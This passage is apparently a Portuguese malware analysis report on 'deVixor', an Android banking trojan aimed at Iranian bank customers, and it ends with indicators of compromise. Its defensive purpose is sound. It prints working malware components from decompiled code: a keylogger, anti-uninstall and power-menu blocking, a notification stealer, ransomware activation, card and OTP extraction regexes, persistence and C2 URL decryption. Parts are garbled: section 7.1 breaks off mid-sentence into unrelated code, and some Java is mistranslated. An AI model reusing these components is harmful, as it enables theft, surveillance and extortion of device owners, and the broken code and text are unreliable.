5.3 Comandos de Configuração

Os comandos de configuração permitem que o operador C2 reconfigure o bot em tempo real sem implantar um novo APK. O comando CHANGE_SERVER atualiza a URL do servidor C2 escrevendo uma nova endereço criptografado no arquivo server.txt na pasta de arquivos do aplicativo, uma técnica clássica de fluxo de domínio para sobreviver a derrubadas. O comando CHANGE_FIREBASE altera o tópico FCM, permitindo que o operador migre sua frota de bots para um novo canal push. O comando SET_OF_MOD configura o modo offline SMS relay escrevendo um número de telefone e slot SIM no arquivo OfMod.json, habilitando o bot para receber comandos e exfiltrar dados via SMS quando o dispositivo não tem internet. O comando SET_WARNING_BANK escreve o nome do aplicativo bancário em checkbankwarning.txt, que dispara uma sobreposição de aviso quando a vítima abre esse aplicativo bancário específico. Os comandos RANSOMWARE e REMOVE_RANSOMWARE alternam o módulo de tela bloqueada criando ou excluindo o arquivo LockTouch.json.

ComandoLocal de OrigemDescrição
CHANGE_SERVERForegroundService.java:2133Atualizar URL do servidor C2 dinamicamente
CHANGE_FIREBASEForegroundService.javaAtualizar configuração de tópico FCM
SET_OF_MODForegroundService.java:2830Configurar modo offline SMS relay
SET_WARNING_BANKC2506tB.java:197Configurar sobreposições de aviso bancário
RANSOMWAREC2506tB.java:131Habilitar tela bloqueada de ransomware
REMOVE_RANSOMWAREYA.java:766Desativar ransomware, excluir LockTouch.json
SEARCH_APPC2506tB.javaPesquisar aplicativos instalados

5.4 Comandos SMS Offline (Persa)

Esta é uma das características mais incomuns que vimos em malware Android. Quando o dispositivo não tem conectividade de internet, o bot cai para um canal C2 baseado em SMS, enviando e recebendo comandos via mensagens de texto para o número telefônico codificado 09014019397 (de off_mod.json) no slot SIM 1. Os comandos são escritos inteiramente em persa, o que os faz se misturar com o tráfego de SMS farsi normal e torná-los mais difíceis para analistas não falantes do persa para identificar nos logs de tráfego. O comando "موج" (Onda) é essencialmente um heartbeat/ping, o comando "آخرین" (Último) recupera a última SMS e os comandos "مانده"/"موجودی" (Saldo) disparam a extração do saldo bancário de histórico de SMS. O comando "اجراکد" (Executar Código) é o mais perigoso, permitindo a execução arbitrária de código via canal SMS:

Comando PersaTransliteraçãoFunção
ستاپ:Setup:…Configuração inicial
آخرینAkharin (Último)Obter último SMS
شمارهShomare (Número)Obter números de telefone
موجMowj (Onda)Ping/heartbeat
اجراکد:Ejrakod (Executar)Executar código
پنهانPenhan (Oculto)Ocultar aplicativo
ماندهMandeh (Saldo)Obter saldo bancário
موجودیMojudi (Saldo)Obter saldo bancário

Parte 6: Abuso do Serviço de Acessibilidade

6.1 Configuração do Serviço

Quando o serviço de acessibilidade se conecta, onServiceConnected() armazena imediatamente uma referência estática a si mesmo em AccessibilityService.r, dando acesso global a todas as outras módulos do malware à instância do serviço sem precisar de um Contexto. Em seguida, configura AccessibilityServiceInfo com os tipos de eventos 4196464, que é uma máscara combinando TYPE_WINDOW_STATE_CHANGED (32), TYPE_VIEW_TEXT_CHANGED (16), TYPE_WINDOW_CONTENT_CHANGED (2048) e TYPE_NOTIFICATION_STATE_CHANGED (64), cobrindo todos os eventos que os seis módulos de manipulação precisam. O valor de bandeiras 80 habilita FLAG_INCLUDE_NOT_IMPORTANT_VIEWS e FLAG_REPORT_VIEW_IDS, garantindo que o serviço veja cada elemento da IU na tela, incluindo aqueles que Android normalmente considera não importantes. O tempo de espera para notificações é configurado apenas para 50 milissegundos, significando que o serviço reage a mudanças na IU quase instantaneamente. Isso está bem abaixo do intervalo típico de 100-200ms usado por aplicativos legítimos de acessibilidade e é ajustado dessa forma agressivamente porque os módulos anti-desinstalação e bloqueio de energia precisam interceptar e descartar telas perigosas antes que o usuário possa interagir com elas.

jadx_output/sources/ir/devixor/app/accessibilityservice/AccessibilityService.java (Linhas 126-134)

@Override
public final void onServiceConnected() {
    super.onServiceConnected();
    r = this;  // Referência estática para acesso global
    AccessibilityServiceInfo accessibilityServiceInfo = new AccessibilityServiceInfo();
    accessibilityServiceInfo.eventTypes = 4196464;
    // Decomposição do bitmask:
    // TYPE_WINDOW_STATE_CHANGED (32) | TYPE_VIEW_TEXT_CHANGED (16) |
    // TYPE_WINDOW_CONTENT_CHANGED (2048) | TYPE_NOTIFICATION_STATE_CHANGED (64)
    accessibilityServiceInfo.feedbackType = 16;  // FEEDBACK_GENERIC
    accessibilityServiceInfo.flags = 80;
    // FLAG_INCLUDE_NOT_IMPORTANT_VIEWS (2) | FLAG_REPORT_VIEW_IDS (16)
    accessibilityServiceInfo.notificationTimeout = 50L;  // Tempo de resposta de 50ms
    setServiceInfo(accessibilityServiceInfo);
}

6.2 Módulo Keylogger (o.QJ)

O keylogger intercepta todas as entradas de texto em todos os aplicativos do dispositivo ao capturar eventos de acessibilidade TYPE_VIEW_TEXT_CHANGED (tipo de evento 16). Em vez de capturar cada tecla pressionada individualmente, que geraria dados ruidosos e difíceis de analisar, ele usa um mecanismo de debounce de 1,200ms implementado com um Handler no looper principal. A cada mudança de texto em um campo focado EditText ou TextInput, o callback pendente é cancelado e agendado para 1,2 segundos depois. Isso significa que os dados são transmitidos apenas quando o usuário pára de digitar, capturando palavras completas, frases ou, mais valiosamente, senhas e nomes de usuários inteiros em um único envio. O módulo também registra o nome do pacote do aplicativo fonte ao lado do texto, permitindo que o operador C2 saiba exatamente qual aplicativo a vítima estava digitando no momento. O método a() valida que o nó de origem é editável e focado antes de capturar, filtrando textos não interativos que apenas gerariam ruído:

jadx_output/sources/o/QJ.java

public final class QJ {
    public AccessibilityService a;
    public final Handler g = new Handler(Looper.getMainLooper());
    public final long h = 1200;  // 1.2 second debounce delay
    public String e = "";        // Current captured text
    public String f = "";        // Package name of source app

    // Check if the node is an editable text field
    public static boolean a(AccessibilityNodeInfo node) {
        String className = node.getClassName().toString();
        if (node.isEditable() ||
            className.contains("EditText") ||
            className.contains("TextInput")) {
            if (node.isFocused()) {  // Only capture from focused fields
                return true;
            }
        }
        return false;
    }

    // Main event handler
    public final void b(AccessibilityEvent event) {
        if (event == null ||
            event.getEventType() != 16 ||  // TYPE_VIEW_TEXT_CHANGED
            event.getSource() == null) {
            return;
        }

        AccessibilityNodeInfo source = event.getSource();
        try {
            if (a(source)) {  // Is it an editable, focused field?
                String text = source.getText() != null ? source.getText().toString() : "";
                String packageName = event.getPackageName().toString();

                // Cancel pending send, store new text, reschedule
                g.removeCallbacks(i);
                this.e = text;
                this.f = packageName;                g.postDelayed(i, h);  // Enviar após um atraso de 1.2 segundos
}
}
finalmente{
fonte.recycle();
}
}

6.3 Módulo Anti-Desinstalação (o.Mh0)

Este é o módulo de auto-preservação do malware. Ele monitora todos os eventos TYPE_WINDOW_STATE_CHANGED em busca de sinais de que o usuário está navegando para algo que possa ser usado para remover ou desativar o malware. A lógica de detecção é organizada em quatro verificadores separados: h() observa telas de Informações do App (detectando palavras-chave como “force stop”, “uninstall”, “disable”, “storage usage” e seus equivalentes persas “توقف اجباری”, “حذف”, “حذف نصب”, “مجوزها”), f() observa Configurações de Acessibilidade (procurando por “accessibility services”, “installed services”, “screen readers”, “talkback” / “دسترسی پذیری”, “سرویس های دسترسی پذیری”), g() observa Opções do Desenvolvedor (“developer options”, “usb debugging”, “build number” / “گزینه های توسعه دهنده”, “اشکال زدایی USB”) e i() observa diálogos de confirmação de desinstalação. A abordagem bilíngue é essencial porque dispositivos Android iranianos podem ser configurados para interface em persa ou inglês. Quando uma tela perigosa é detectada, o módulo chama e(3), que dispara performGlobalAction(GLOBAL_ACTION_BACK) três vezes rapidamente para forçar o usuário a sair. Existe também um limitador de taxa (no mínimo 800ms entre as ações) para prevenir loops infinitos de pressionamento de voltar, e o método j() adiciona uma verificação secundária que detecta quando o usuário retorna ao seu aplicativo launcher (verificando nomes de pacotes contendo “launcher”, “trebuchet”, “pixel”, “miui.home”, “touchwiz”, “seclauncher”, “coloros”, “oneplus”, “oppo” e “huawei”):

jadx_output/sources/o/Mh0.java

  • "Informações do aplicativo", "Forçar encerramento"
  • "Excluir", "Desinstalar", "Permissões"
  • "Opções do desenvolvedor", "Depuração USB"
  • "Acessibilidade", "Serviços de acessibilidade"
// Quando telas perigosas são detectadas: Pressione Voltar para escapar
public static void e(int i) {
    AccessibilityService service = AccessibilityService.r;
    for (int i2 = 0; i2 < i; i2++) {
        if (service != null) {
            service.performGlobalAction(1);  // GLOBAL_ACTION_BACK
        }
    }
}

6.4 Bloqueador de Botão de Energia (o.C0720aY)

Este módulo trabalha em conjunto com o ransomware. Uma vez que o dispositivo é bloqueado, a primeira reação da vítima é segurar o botão de energia e reiniciar, e o bloqueador de botão de energia captura exatamente isso. Ele monitora eventos TYPE_WINDOW_STATE_CHANGED do com.android.systemui, especificamente a janela de diálogo GlobalActions que aparece quando o botão de energia é pressionado por muito tempo. Em seguida, ele varre a árvore de nós da janela em busca de botões correspondentes às palavras-chave relacionadas ao desligamento tanto em persa ("خاموش" para desligar, "راه‌اندازی مجدد" para reiniciar, "بوت مجدد" para recomeçar, "حالت ایمن" para modo seguro) quanto em inglês ("Power off", "Turn off", "Shutdown", "Restart", "Reboot", "Safe mode"). Se alguma correspondência for encontrada, a() dispara dois cliques no botão Voltar via performGlobalAction(1) e exibe um AlertDialog com o tipo de janela 2032 (TYPE_STATUS_BAR, que desenha sobre tudo) mostrando "🔒 عملیات مسدود شد" (Operação Bloqueada) com um botão não cancelável "متوجه شدم" (Entendi). O módulo é limitado a uma disparo a cada 2,000ms para evitar que as janelas se acumulem:

jadx_output/sources/o/C0720aY.java

Palavras-chave do menu de energia detectadas:

Persa: "خاموش" (desligar), "راه‌اندازی مجدد" (reiniciar), "بوت مجدد" (recomeçar), "حالت ایمن" (modo seguro)

Inglês: "Power off", "Turn off", "Shutdown", "Restart", "Reboot", "Safe mode"

Ação: Pressione o botão Voltar duas vezes e exiba a janela de bloqueio: "⚠️ خاموش کردن دستگاه مسدود شده است." (O desligamento do dispositivo está bloqueado)

public final void b(AccessibilityNodeInfo node) {
    ArrayList buttons = new ArrayList();

    // Palavras-chave do menu de energia persa
    buttons.addAll(node.findAccessibilityNodeInfosByText("خاموش"));
    buttons.addAll(node.findAccessibilityNodeInfosByText("راه‌اندازی مجدد"));
    buttons.addAll(node.findAccessibilityNodeInfosByText("حالت ایمن"));

    // Palavras-chave do menu de energia em inglês
    buttons.addAll(node.findAccessibilityNodeInfosByText("Power off"));
    buttons.addAll(node.findAccessibilityNodeInfosByText("Shutdown"));
    buttons.addAll(node.findAccessibilityNodeInfosByText("Restart"));
    buttons.addAll(node.findAccessibilityNodeInfosByText("Safe mode"));

    if (!buttons.isEmpty()) {
        a();  // Bloqueia o menu de energia
    }
}

6.5 Interceptador de Notificações (o.OS)

O interceptador de notificações captura silenciosamente todas as notificações que aparecem no dispositivo, filtrando por TYPE_NOTIFICATION_STATE_CHANGED (tipo de evento 64). Este é um módulo crucial para coleta de inteligência, pois muitos bancos iranianos enviam códigos OTP, confirmações de transação e alertas sobre saldo via notificações push, e este módulo as captura todas sem precisar de acesso ao SMS. Para cada notificação, ele extrai o título (android.title), texto do corpo (android.text) e texto expandido (android.bigText) do bundle extras da notificação, preferindo bigText quando disponível, pois geralmente contém a mensagem completa que é truncada na notificação colapsada. Ele também resolve o nome de exibição do aplicativo fonte através do nome do pacote via PackageManager. Cada entrada é formatada com cabeçalhos decorados com emojis e anexado ao arquivo notificationListener.txt no diretório de arquivos internos do aplicativo, com um contador que numerifica cada notificação capturada. O arquivo de log está em modo de anexo (true flag em FileOutputStream), então ele acumula indefinidamente até que o operador C2 recupere-o:

jadx_output/sources/o/OS.java

public final void a(AccessibilityEvent event) {
    if (event == null || event.getEventType() != 64) return;  // TYPE_NOTIFICATION_STATE_CHANGED

    Notification notification = (Notification) event.getParcelableData();
    Bundle extras = notification.extras;

    // Extraia o conteúdo da notificação
    String title = extras.getCharSequence("android.title").toString();
    String text = extras.getCharSequence("android.text").toString();
    String bigText = extras.getCharSequence("android.bigText").toString();
    if (bigText.length() > 0) text = bigText;  // Prefira o texto expandido

    // Formate e escreva no arquivo de log
    String logEntry =
        "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n" +
        "🔔 Notificação #" + (++b) +"\n" +
        "📱 App: " + appName +"\n" +
        "📝 Título: " + title +"\n" +
        "💬 Texto: " + text +"\n" +
        "⏰ Tempo: " + timestamp +"\n";

    // Anexe ao notificationListener.txt
    FileOutputStream fos = new FileOutputStream(
        new File(service.getFilesDir(), "notificationListener.txt"), true);
    fos.write(logEntry.getBytes());
    fos.close();
}

Parte 7: Módulo de Ransomware

7.1 Configuração

O módulo de ransomware é gerenciado por o.CM e armazena seu estado em LockTouch.json no diretório externo de arquivos do dispositivo. A configuração é um objeto JSON simples com quatro campos: status (

// Parâmetros da janela para overlay em tela cheia e não descartável
WindowManager.LayoutParams params = new WindowManager.LayoutParams(
    -1, -1,  // MATCH_PARENT largura e altura
    2032,    // TIPO_ACCESSIBILITY_OVERLAY
    262440,  // FLAG_NOT_TOUCH_MODAL | FLAG_LAYOUT_IN_SCREEN | etc.
    -3);     // FORMATO_PIXEL_TRANSCENDENTE

windowManager.addView(lockView, params);

7.4 Comando de Ativação do Ransomware

O ransomware é ativado via o comando RANSOMWARE da C2, tratado por o.C2506tB (caso 1 em seu switch de comandos). O formato do comando é RANSOMWARE:1:description:wallet:amount, dividido por dois pontos em cinco partes usando Za0.j0(). Isso significa que o operador da C2 tem controle total sobre a mensagem de ransom, endereço da carteira e quantidade exigida para cada vítima individual, permitindo preços direcionados ou mensagens personalizadas. O manipulador cria um novo arquivo LockTouch.json com status: "yes" e os parâmetros fornecidos. A remoção é igualmente simples: o comando REMOVE_RANSOMWARE (tratado em YA.java caso 22) apenas deleta o arquivo LockTouch.json, desbloqueando instantaneamente o dispositivo:

jadx_output/sources/o/C2506tB.java

// Formato do comando: RANSOMWARE:1:description:wallet:amount
public final Object n(Object obj) throws JSONException {
List parts = Za0.j0(command, new String[]{":"}, 5, 2);

String description = (String) parts.get(2);
String wallet = (String) parts.get(3);
double amount = Double.parseDouble((String) parts.get(4));

// Criar/atualizar configuração do ransomware
File file = new File(service.getExternalFilesDir(null), "LockTouch.json");
JSONObject config = new JSONObject();
config.put("status", "yes");  // Ativar bloqueio
config.put("description", description);
config.put("wallet_address", wallet);
config.put("tron_amount", amount);

writeFile(file, config.toString());
}

Parte 8: Análise de SMS Bancário e Exfiltração de Dados

8.1 Mapeamento de IDs de Remetente do Banco

O motor de análise de SMS no ForegroundService (em torno da linha 1200) contém um banco de dados rígido com mais de 80 identificadores de remetentes para mais de 30 bancos iranianos. Cada banco é representado por um objeto C1367hB (que mapeamos para BankSenderMapping) contendo três campos: o nome persa do banco, uma lista de IDs de remetente SMS conhecidos (incluindo nomes alfanuméricos como "BMI", códigos curtos como "300017" e números completos de telefone como "+98700717") e uma lista de nomes de aplicativos móveis bancários associados. Este banco de dados permite que o malware classifique qualquer SMS recebido. Quando uma mensagem chega, o endereço do remetente é comparado com a lista de remetentes de cada banco para determinar de qual banco ela veio, o que então impulsiona a lógica de extração de saldo, números de cartão e OTPs. A abrangência é notável: apenas o Banco Melli tem 11 IDs diferentes de remetente registrados, e todos os principais bancos iranianos são cobertos:

jadx_output/sources/ir/devixor/app/service/ForegroundService.java (Linhas 1200-1250)

// Banco Melli Iran - 11 IDs enviadores
C1367hB bancoMelli = new C1367hB(
    "بانک ملی ایران",  // Nome do banco em persa
    AbstractC0008Ai.S(
        "BMI", "Bankmelli", "BankMelli", "+98700717", "700717",
        "9830009417", "++983000941001", "300017", "20004000",
        "+989830009417", +987007058
    ),
    Collections.singletonList("بام")  // Nome do aplicativo BAM
);

// Banco Mellat - 6 IDs enviadores
C1367hB bancoMellat = new C1367hB(
    "بانک ملت",
    AbstractC0008Ai.S("Bankmellat", "BankMellat", "Bank Mellat",
        "10004001", "200033", "200030"),
    Collections.singletonList("همراه بانک ملت")
);

// Banco Tejarat
C1367hB bancoTejarat = new C1367hB(
    "بانک تجارت",
    AbstractC0008Ai.S("TejaratBank", "Tejarat", "BankTejarat",
        "200070", "20007010"),
    Collections.singletonList("همراه بانک تجارت")
);

// Banco Saderat Iran
C1367hB bancoSaderat = new C1367hB(
    "بانک صادرات ایران",
    AbstractC0008Ai.S("Saderat", "BankSaderat", "EBI", "200060"),
    Collections.singletonList("همراه بانک صادرات")
);

// Banco Pasargad - 5 IDs enviadores
C1367hB bancoPasargad = new C1367hB(
    "بانک پاسارگاد",
    AbstractC0008Ai.S("BPI", "B.Pasargad", "BankPasargad",
        "50009000", "5000114"),
    Collections.singletonList("همراه بانک پاسارگاد")
);

// ... 30+ mais bancos configurados

8.2 Aplicativos Bancários Monitorados (44 Aplicativos)

O comando GET_BNC_APPS (caso 15 em YA.java) contém uma lista rígida de 44 nomes de aplicativos bancários e financeiros iranianos, não os nomes de pacote, mas sim os nomes exibidos em persa que aparecem no lançador. O módulo consulta todos os aplicativos instalados e compara seus rótulos com esta lista, então relata quais aplicativos bancários estão presentes no dispositivo. Isso serve como reconhecimento para o operador C2: saber quais aplicativos bancários a vítima usa indica exatamente quais ataques de sobreposição devem ser implementados e quais IDs de remetente SMS devem ser priorizados para interceptação de OTP.

Aplicativos Bancários Monitorados:

همراه بانک سپه, مگابانک, ویپاد, همراه کارت رفاه, بلو, همراه بانک ملت, فوریبکس, کیلید, بانکت, زیپاد, باجت, بام, فرا رفاه, metatablebank, بلو جونیور, بانکیار, باران, همراه بانک صادرات, همراه بانک تجارت, موبایل بانک رفاه, همراه بانک شهرپلاس, همراه بانک ایران زمین, همراه بانک کشاورزی, همپا, همراه‌بانک قرض‌الحسنه مهر ایران, بانکینو, همراه بانک پاسارگاد, همراه بانک قرض الحسنه رسالت, موبایل بانک گردشگری, موبایلت, پارسیان من, دی جت, تک بانک سرمایه, Hamrah Novin, همراه بانک ملل, همراه بانک توسعه تعاون, آبانک, های بانك, توبانک, blu, 724, هفـ هشتاد, Maskan, آپ

Números de cartão bancário iranianos são números de 16 dígitos da rede Shetab, geralmente formatados em quatro grupos de quatro separados por hífens ou espaços. O desafio é que as mensagens SMS iranianas podem conter dígitos em três sistemas numéricos diferentes: árabe ocidental (0-9), persa (۰-۹, Unicode 0x06F0-0x06F9) e árabe oriental (٠-٩, Unicode 0x0660-0x0669). O padrão regex do malware lida com todas as três usando classes de caracteres que correspondem a qualquer variante, e o código de conversão mapeia os números persas (pontos de código 1776-1785) e árabes (pontos de código 1632-1641) de volta aos seus valores inteiros subtraindo o ponto de código base. O comando GET_CARD_NUMBER limita a extração a 50 números de cartão únicos para evitar relatórios duplicados:

// Padrão para número do cartão suportando algarismos persas/árabes
Pattern cardPattern = Pattern.compile(
    "(?:(?:\d|[۰-۹]|[٠-٩]){4}[-\s]?){3}(?:\d|[۰-۹]|[٠-٩]){4}"
);

// Conversão de algarismos persas
if (1776 <= charCode && charCode < 1786) {  // Persa ۰-۹
    sb.append(charCode - 1776);
} else if (1632 <= charCode && charCode < 1642) {  // Árabe ٠-٩
    sb.append(charCode - 1632);
}

8.4 Extração do saldo e OTP

O motor de análise de SMS em ForegroundService.l0() (linhas 2489-2643) consulta content://sms/inbox com ordenação por data decrescente e limite configurável (até 5.000 para mensagens bancárias). Para cada mensagem, dois padrões de regex são aplicados ao corpo da mensagem. O padrão do saldo procura por "موجودی" (saldo) ou "مانده" (restante), seguido por um dois pontos e um número com separadores persas (٬). O padrão OTP corresponde a "رمز" (senha/código) opcionalmente seguido por "پویا" (dinâmico) ou "یکبارمصرف" (último uso), bem como o inglês "OTP", e extrai um código de 5 a 8 dígitos que segue. Ambos os padrões lidam com as variantes persas/árabes dos algarismos. A comando GET_ACCOUNT_SUMMARY na linha 1403 usa esses padrões para construir um perfil financeiro detalhado da vítima, incluindo nomes de bancos, saldos, números de cartão e OTPs recentes, tudo extraído puramente do inbox de SMS sem tocar nos aplicativos bancários:

Parte 9: Persistência e Anti-Análise

9.1 Persistência do Serviço em Primeiro Plano

O ForegroundService usa uma abordagem de cinto e suspensórios para permanecer ativo. Ao iniciar, o método onStartCommand() adquire um PARTIAL_WAKE_LOCK com a tag "deVixor::Wake" (referência contada desabilitada, então é mantido indefinidamente) para prevenir que o CPU entre em modo de sono. Ele retorna START_STICKY, informando ao sistema Android para reiniciar o serviço se ele for morto. Mas a verdadeira truque de persistência está no método onDestroy(). Mesmo que o Android mate o serviço, o callback de destruição agendará um reinício via AlarmManager.setAndAllowWhileIdle() com um atraso de 2 segundos, que dispara mesmo na Modo Zumbido. O método onCreate() armazena uma referência estática (ForegroundService.x = this), configura o tratamento de mensagens Firebase via a classe TS, cria o canal de notificação ("ghost_service_channel") e inicia a notificação em primeiro plano. O canal de notificações é configurado para ser tão invisível quanto possível: luzes desativadas, vibração desativada, marcador desativado, som nulo e visibilidade da tela bloqueada definida como -1 (oculta):

@Override
public int onStartCommand(Intent intent, int flags, int startId) {
    // Mantém o CPU acordado para prevenir dormência

    PowerManager.WakeLock wakeLock =
        ((PowerManager) getSystemService("power"))
        .newWakeLock(PowerManager.PARTIAL_WAKE_LOCK, "deVixor::Wake");
    wakeLock.setReferenceCounted(false);
    wakeLock.acquire();

    return START_STICKY;  // Reinicia se for interrompido
}

@Override
public void onDestroy() {
    // Programa reinicialização via AlarmManager

    AlarmManager alarmManager = (AlarmManager) getSystemService("alarm");
    alarmManager.setAndAllowWhileIdle(
        AlarmManager.ELAPSED_REALTIME,
        SystemClock.elapsedRealtime() + 2000,  // Reinicia em 2 segundos

        pendingIntent
    );
    super.onDestroy();
}

9.2 Boot Receiver

O RestartReceiver é registrado com directBootAware="true" e priority="1000" (o máximo), garantindo que seja um dos primeiros receptores a serem ativados após uma reinicialização. Ele lida com cinco diferentes intents relacionados ao boot para cobrir o maior número possível de fabricantes de dispositivos: o padrão BOOT_COMPLETED, o direct-boot LOCKED_BOOT_COMPLETED (é disparado antes que o usuário desbloqueie o dispositivo pela primeira vez), o Android QUICKBOOT_POWERON, a variante específica da HTC e MY_PACKAGE_REPLACED (é disparado quando o aplicativo é atualizado). Em cada gatilho, o receptor posta um Runnable com atraso (3 segundos de atraso) que inicia o ForegroundService, dando ao sistema tempo suficiente para finalizar a inicialização antes que o serviço malicioso entre em vigor:

<receiver android:name="ir.devixor.app.receiver.RestartReceiver"
          android:directBootAware="true"
          android:permission="android.permission.RECEIVE_BOOT_COMPLETED">
    <intent-filter android:priority="1000">
        <action android:name="android.intent.action.BOOT_COMPLETED"/>
        <action android:name="android.intent.action.LOCKED_BOOT_COMPLETED"/>
        <action android:name="android.intent.action.QUICKBOOT_POWERON"/>
        <action android:name="com.htc.intent.action.QUICKBOOT_POWERON"/>
        <action android:name="android.intent.action.MY_PACKAGE_REPLACED"/>
    </intent-filter>
</receiver>

9.3 Activity Aliases (Sistema de Disfarce de Ícone)

O sistema de disfarce de ícone é uma das características anti-deteção mais criativas do deVixor. O mecanismo <activity-alias> do Android permite que um aplicativo registre várias entradas de lançador apontando para a mesma atividade, mas com diferentes ícones e rótulos. O deVixor declara 11 aliases em seu manifesto, cada um com android.intent.action.MAIN e android.intent.category.LAUNCHER. A comando HIDE desabilita o alias padrão e ativa o alias do YouTube usando PackageManager.setComponentEnabledSetting(), fazendo com que o aplicativo pareça ser “YouTube” com um ícone de YouTube no lançador. O alias SecondActivityAlias é particularmente sutil: seu rótulo é um caractere em Braille vazio () e seu ícone é uma PNG transparente, tornando-o efetivamente invisível na gaveta de aplicativos. Os aliases bancários (Melli, Mellat, Tejarat, Saderat, Sepah, Refah, Pasargad) usam os logotipos reais dos bancos e nomes persas, então o malware se disfarça como o aplicativo bancário que mais pareceria natural no dispositivo da vítima. O arquivo de ativos auto_hide.json contém {"auto_hide": "on"}, sugerindo que o malware pode automaticamente trocar para um ícone disfarçado logo após a instalação:

AliasÍconeRótuloFunção
MainActivityAliaslogoNome do aplicativoLançador padrão
SecondActivityAliastransparente⠀ (Braille em branco)Modo invisível
YouTubeActivityAliaslogo_youtubeYouTubeDisfarce de YouTube
MelliActivityAliasmelliملیDisfarce do Banco Melli
MellatActivityAliasmellatملتDisfarce do Banco Mellat
TejaratActivityAliastejaratتجارتDisfarce do Banco Tejarat
SaderatActivityAliassaderatصادراتDisfarce do Banco Saderat
SepahActivityAliassepahسپاهDisfarce do Banco Sepah
RefahActivityAliasrefahرفاهDisfarce do Banco Refah
PasargadActivityAliaspasargadپاسارگادDisfarce do Banco Pasargad
BluActivityAliaslogo_app_bluبلوDisfarce do Blu Bank

9.4 Proteção de URL C2

A proteção da URL C2 em o.Fh0 é a parte mais sofisticada tecnicamente do arsenal anti-análise do malware. Em vez de uma única camada de criptografia, ela encadeia cinco transformações que devem ser revertidas na ordem correta. A string criptografada está delimitada por pontos com seis campos: um rótulo de versão ("v1"), um IV codificado em Base64, sal e nonce, metadados JSON (contendo um checksum do esquema usado para verificar a integridade da decodificação) e o payload criptografado. A codificação Base64 usa variantes seguras de URL (substituindo - por + e _ por /). O fluxo de decodificação deriva duas chaves AES separadas a partir de rótulos codificados ("enc-key-1" e "enc-key-2") usando HMAC-SHA256/SHA512, executa dois passes de descriptografia AES/CTR com diferentes pares chave/nonce, aplica uma permutação S-Box baseada em Fisher-Yates alimentada pelos metadados e finalmente descompacta o resultado usando Zlib. O gerenciador de configuração do servidor AbstractC1480iS primeiro verifica por uma URL atualizada dinamicamente em server.txt (escrita pelo comando CHANGE_SERVER). Se isso não existir, ele recorre a decodificar o padrão embutido no código:

// Formato da URL C2 criptografada: versão.iv.salt.nonce.metadados.payload
public static String g(String str) {
    List parts = Za0.k0(str, new char[]{'.'});

    String versao = (String) parts.get(0);      // "v1"
    byte[] iv = b((String) parts.get(1));        // IV decodificado em Base64
    byte[] salt = b((String) parts.get(2));      // Salt decodificado em Base64
    byte[] nonce = b((String) parts.get(3));     // Nonce decodificado em Base64
    byte[] metadados = b((String) parts.get(4));  // Metadados JSON codificados em Base64
    byte[] criptografado = b((String) parts.get(5)); // Payload criptografado

    // Camada 1: Derive key using HmacSHA256/512
    byte[] chave1 = c("enc-key-2", iv);

    // Camada 2: Primeira decifração AES/CTR
    byte[] intermediario = a(criptografado, chave1, nonce);

    // Camada 3: Segunda decifração AES/CTR
    byte[] chave2 = c("enc-key-1", iv);
    byte[] descriptografado = a(intermediario, chave2, salt);

    // Camada 4: Permutação S-Box (baseada em Fisher-Yates)
    byte[] permutado = d(descriptografado, metadados);

    // Camada 5: Decompressão Zlib
    return e(permutado);
}

9.5 Notificação Disfarçada

O Android exige que os serviços em primeiro plano mostrem uma notificação persistente, então o malware faz a sua notificação parecer exatamente como um atualização do Google Play Store. O título da notificação é "Google Play", o texto de corpo é "Google Play - بروزرسانی برنامه‌ها" (Atualizações de aplicativos) em persa, e o ícone usa o logotipo do Google Play. O PendingIntent anexado à notificação aponta para market://details?id=org.telegram.messenger, então se o usuário clicar nela, será redirecionado para a página do Telegram no Google Play Store, que parece inofensiva. A notificação é configurada com PRIORITY_MIN para minimizar a visibilidade e tanto som quanto vibração são explicitamente definidos como null. No nível da canal de notificações (criado no método W()), luzes, vibração, badge e som estão todos desabilitados, e a visibilidade na tela de bloqueio é configurada para -1 para ocultá-la completamente da tela de bloqueio. Em Android 11+ (API 30), o serviço também cria um atalho na tela inicial para persistência adicional:

NotificationCompat.Builder builder =
    new NotificationCompat.Builder(this, "ghost_service_channel");
builder.setContentTitle("Google Play");
builder.setContentText("Google Play - بروزرسانی برنامه‌ها");  // "Updating apps"
builder.setSmallIcon(R.drawable.ic_notification);
builder.setLargeIcon(googlePlayIcon);
builder.setPriority(NotificationCompat.PRIORITY_MIN);
builder.setSound(null);
builder.setVibrate(null);

Parte 10: Indicadores de Compromisso

Os seguintes IOCs foram extraídos diretamente do código-fonte descompilado, arquivos de ativos e AndroidManifest. Os indicadores de arquivo são particularmente úteis para detecção em pontos finais. A presença de LockTouch.json, keylog.txt ou notificationListener.txt no diretório de dados do aplicativo é um forte sinal de infecção por deVixor. Os indicadores da rede podem ser usados para bloqueio em nível DNS/proxy, e a regra YARA no final combina assinaturas estruturais, de string e comportamentais para varredura em repositórios APK.

10.1 Indicadores de Arquivo

ArquivoLocalizaçãoFim
port.jsonassets/ID do Bot: deVixor_Qq1tjN49
permission.jsonassets/Configuração de solicitação de permissão
webview.jsonassets/URL C2 criptografada
off_mod.jsonassets/Módulo offline: 09014019397
auto_hide.jsonassets/Configuração de ocultação automática
server.txtfiles/URL C2 dinâmica
firebase.txtfiles/Configuração FCM
LockTouch.jsonexternal/Configuração de ransomware
keylog.txtfiles/Saída do keylogger
notificationListener.txtfiles/Histórico de notificações
status_hide.txtfiles/Status de ocultação do ícone
OfMod.jsonfiles/Dados do módulo offline
lastsms.txtfiles/Cache da última mensagem SMS

10.2 Indicadores de Rede

IndicadorValorFim
Tópico FCMdeVixor_Qq1tjN49Canal de comunicação C2
Verificação IPhttps://api.ipify.orgDetectar IP público
Pagamento Gatewayhttps://bpm.shaparak.irFraude Shaparak
WebView Padrãohttps://digikala.comConteúdo de isca

Conclusão

O deVixor não é um trojan bancário rápido e sujo montado a partir de código-fonte vazado. É uma ferramenta projetada com propósito por alguém com conhecimento profundo dos internos do Android e do ecossistema financeiro iraniano. Ao realizar engenharia reversa em todas as 4,824 classes obfuscadas, documentamos um completo plataforma de malware que combina roubo de credenciais, ransomware, vigilância extensiva do dispositivo e múltiplas técnicas de persistência em uma única base de código bem estruturada. A qualidade do código é notavelmente alta. A arquitetura modular AccessibilityService com blocos try-catch isolados por manipulador, a criptografia multi-nível C2, os caminhos específicos para fabricantes Samsung e Xiaomi, e o canal de fallback C2 baseado em SMS apontam para um desenvolvedor ou equipe experiente.

Principais Descobertas Resumidas

  • 4.824 classes obfuscadas mapeadas sistematicamente para suas finalidades reais através da análise de código
